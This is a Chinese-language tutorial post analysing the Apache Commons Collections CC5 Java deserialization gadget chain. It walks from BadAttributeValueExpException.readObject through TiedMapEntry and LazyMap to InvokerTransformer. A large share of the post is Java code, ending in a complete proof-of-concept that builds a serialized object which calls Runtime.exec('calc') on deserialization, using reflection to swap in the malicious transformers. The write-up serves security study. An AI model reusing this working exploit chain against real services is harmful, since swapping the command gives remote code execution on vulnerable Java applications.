0x00 前言
0x01 利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
0x02 利用链分析
CC5没有使用HashMap.readObject作为入口类,而是使用了**BadAttributeValueExpException.readObject()作为入口类,不过最后都是走到LazyMap.get()**方法
先来看看CC5链的入口类BadAttributeValueExpException的**readObject()**方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
|
可以看到会调用get函数获取val对象,然后赋给valObj,符合判断后调用该对象的**toString()**方法
这时,我们可以去看一下TiedMapRntry类的**toString()**方法
1 2 3
| public String toString() { return getKey() + "=" + getValue(); }
|
可以看到里面调用了**getValue()**方法,在跟进一下
1 2 3
| public Object getValue() { return map.get(key); }
|
到这里后面的利用就清楚了,也就是CC6这条链换了个入口类
代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field chainedTransformerClassField = chainedTransformerClass.getDeclaredField("iTransformers"); chainedTransformerClassField.setAccessible(true); chainedTransformerClassField.set(chainedTransformer,transformers);
serialize(BadAttributeValueExpException对象); unserialize("ser.bin");
|
BadAttributeValueExpException
创建BadAttributeValueExpException对象,并利用反射将Val对象改为构造好的tiedMapEntry对象
1 2 3 4 5
| BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass(); Field badAttributeValueExpExceptionClassDeclaredField = badAttributeValueExpExceptionClass.getDeclaredField("val"); badAttributeValueExpExceptionClassDeclaredField.setAccessible(true); badAttributeValueExpExceptionClassDeclaredField.set(badAttributeValueExpException,tiedMapEntry);
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass(); Field badAttributeValueExpExceptionClassDeclaredField = badAttributeValueExpExceptionClass.getDeclaredField("val"); badAttributeValueExpExceptionClassDeclaredField.setAccessible(true); badAttributeValueExpExceptionClassDeclaredField.set(badAttributeValueExpException,tiedMapEntry);
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field chainedTransformerClassField = chainedTransformerClass.getDeclaredField("iTransformers"); chainedTransformerClassField.setAccessible(true); chainedTransformerClassField.set(chainedTransformer,transformers);
serialize(BadAttributeValueExpException对象); unserialize("ser.bin");
|
0x03 总结
0x04 参考资料
P牛知识星球-Java安全漫谈
B站-白日梦组长
https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff
Y4tacker
https://github.com/Y4tacker/JavaSec